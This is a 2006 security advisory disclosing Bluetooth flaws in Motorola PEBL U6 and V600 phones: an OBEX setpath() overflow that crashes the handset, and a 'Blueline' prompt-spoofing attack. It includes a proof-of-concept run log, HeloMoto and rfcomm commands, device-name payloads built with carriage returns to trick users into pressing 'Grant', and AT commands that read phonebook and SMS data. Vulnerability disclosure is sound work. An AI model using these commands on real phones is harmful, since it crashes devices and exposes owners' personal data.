DMA[2006-0321a] - 'Motorola P2K Platform setpath() overflow and Blueline attack'
Author: Kevin Finisterre
Vendor: http://www.motorola.com
Product: 'Motorola PEBL U6, Motorola V600, other Motorola P2k based phones?'
References:
http://www.digitalmunition.com/DMA[2006-0321a].txt
http://www.motorola.com/motoinfo/product/details/0,,11,00.html
http://www.motorola.com/motoinfo/product/details/0,,87,00.html
http://www.digitalmunition.com/P1010048.JPG

Description:
Motorola is known around the world for innovation and leadership in wireless and broadband
communications. Inspired by a vision of Seamless Mobility, the people of Motorola are
committed to helping you get and stay connected simply and seamlessly.

Recently I had the pleasure of experiencing 2 of Morotola's phones, the PEBL U6 and the V600.
Radiating mystery and intrigue, the understated elegance of the Motorola PEBL elevates mobile
design to a new level. And with its stunning looks and killer functionality, the Motorola V600
cellular phone is a sleek statement of sophistication and intelligence for mobile trendsetters
who demand the very best.

Each of the phones has exhibited interesting behavior with regard to Bluetooth functionality.
The PEBL handset for example is subject to a post-authentication Buffer Overflow via OBEX
File Transfer. Both phones are also vulnerable to a pre-authentication user interface spoofing
issue. This document seeks to inform Motorola users about the issues at hand and to describe
both issues in detail.

Based on internal markings, my Motorola PEBL is a model U6 (G8/9/18/19) S/W 08.83.76R. It was
purchased from a T-Mobile store in Columbus, Ohio (USA) on 2/10/2006.

The following file transfer service is available on channel 9 of my PEBL:

Service Name: OBEX File Transfer
Service Description: OBEX File Transfer
Service Provider: T-Mobile
Service RecHandle: 0x10009
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100

After pairing with the phone an attacker can send a long OBEX setpath() and completely crash
the handset. The user interface will go completely unresponsive and any active calls will be
dropped. After about 15 to 20 seconds the device completely turns off. The user must push the
power button in order to use the device further. Code execution may be possible however the
debugging capabilities on the PEBL are minimal. Access to Motorola debugging tools may provide
further information about the possibility of code execution.

A proof of concept java .class was created to trigger the issue. The PoC requires the Avetana
Bluetooth Stack demo avetanaBluetooth.jar and a java compiler. Please note that it is also
necessary to pair with the device prior to connecting to the FTP service.

k-fs-ibook:~/Desktop kf$ javac PEBL-p00py.java
k-fs-ibook:~/Desktop kf$ java PEBL-p00py
avetanaBluetooth version 1.3.4
Local name K F?s iBook
Local address 11-22-33-44-55-66
Device class 102104
License valid until 24.02.06
Possibilities array 3F
License-ID 2217
connected
java.io.IOException: Connection closed (The phone is now dead at this point)

The next issue involves a bit of social engineering complements of the Motorola Bluetooth
user interface. The PEBL (and the V600?) offers 2 voice gateways, one requires pairing
and one does not. The "Headset Audio Gateway" on channel 3 does not require pairing before
a connection can be made. Because of this an attacker main gain extra access to the phone
if a user can be convinced to press "Grant".

Keep in mind that if the attackers phone has not yet been added to the "Device History" list
it will be unable to connect to channel 3. A simple HeloMoto attack on port 8 will help
eliminate this requirement however.

./helomoto plant 00:15:A8:74:87:3E 8

You can find more information about Helo moto in the following locations.

http://trifinite.org/Downloads/helomoto.tgz
http://trifinite.org/trifinite_stuff_helomoto.html

The following profile ultimately allows the UI spoofing to occur.

Service Name: Voice Gateway
Service Description: Headset Audio Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10003
Service Class ID List:
"Headset Audio Gateway" (0x1112)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Please note that this profile does require that the user accept an inbound connection. The
following message pops up under normal circumstances when channel 3 is contacted:

Remote Bluetooth Device Name
Requests Voice Gateway?
(Grant or Deny)

Although the user if prompted for the connection I have found that the user interface will
respond interestingly to the 0x0d character. With a bit of creativity we can perhaps trick
a user into accepting our connection request.

hciconfig hci0 name `echo -e "A\x0dB\x0dC\x0dD\x0dE\x0dF\x0dG"`

rfcomm connect 0 00:15:A8:74:87:3E 3

The above command will result in the following message being displayed on screen:

   A
   B
   C
   D
   E
  F ...

(Grant or Deny)

Six new line characters seem to be enough to push the factory default message off of the
screen of the handset. We can obviously be more creative…

hciconfig hci0 name `perl -e 'print "Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'`

rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)

Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

On the Motorola handset we get

Press
grant
to
disable
mute
(Grant or Deny)

An actual screen shot from the phone during an attack can be found here:
http://www.digitalmunition.com/P1010048.JPG

Once connected to the Audio Gateway the attacker will have AT level access to the phone.
Access to personal information such as Phone book entries and SMS data are up for grabs
at this point.

Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

ATE1
OK
AT+GMI
+GMI: "Motorola CE, Copyright 2000"
OK
AT+GMM
+GMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=PEBL U6"
OK
AT+GMR
+GMR: "R478_G_08.83.76R"
OK
AT+CPMS=MT
+CPMS: 14,254
OK
AT+CPBR=1
+CPBR: 1,"13133742069",129,"Stroke - milw0rm"

Since 0x0d is commonly used as a newline character I am going to label this a "Blueline"
attack (I am a hockey fan what can I say).

The Motorola V600 also appears to be vulnerable to this attack. Like the PEBL the attacker
must first be in the phones "Device History" or the phone must first be exploited via the
HeloMoto attack. RAZRv3 also exhibited similar UI behavior however other factors did not
make it immediately viable for an attack scenario. (Thanks Marcel and Adam). As a final
side note it is worth mentioning that Tonu Samuel ([email protected]) has also confirmed similar
issues on the Motorola E398 handset.

Work Around:
The following statements are paraphrased from a collection of email communications between
myself and Motorola.

Motorola is committed to providing the best consumer experience possible and software
performance is key to enabling that. At this point the fixes for both issues have been
incorporated into software for future phone production. While it is possible to update
the software on Motorola phones, they do not currently have a mechanism to make the new
software available to consumers with existing phones.

Both issues have been identified via Motorola internal testing and Motorola has developed
fixes for these issue which they are incorporating into their phone software moving forward.

Motorola evaluates the need for providing patches to existing phones on a case by case
basis, by working with their partners in the marketplace. If there is a clear need for
updates to existing phones, they will take appropriate action.

Consumer satisfaction is the top priority for Motorola so they do what is necessary to
ensure that they deliver a quality experience. To that end, Motorola has been focusing on
prevention/ education, not just providing a cure. Motorola is really interested in helping
consumers learn how to use Bluetooth technology safely… helping educate them on the
simple things they can do (like not making their phones discoverable in public) to make
their Bluetooth use safer.

Special thanks to:
Alan Buddendeck, Natanya Ray and Greg Muchnik of Motorola for helping with these issues.
The Trifinite.group of course!

It is the authors view that other phones may be vulnerable to the "Blueline" attack, a
comprehensive list of vulnerable phones and manufacturers will be published once it has
been identified.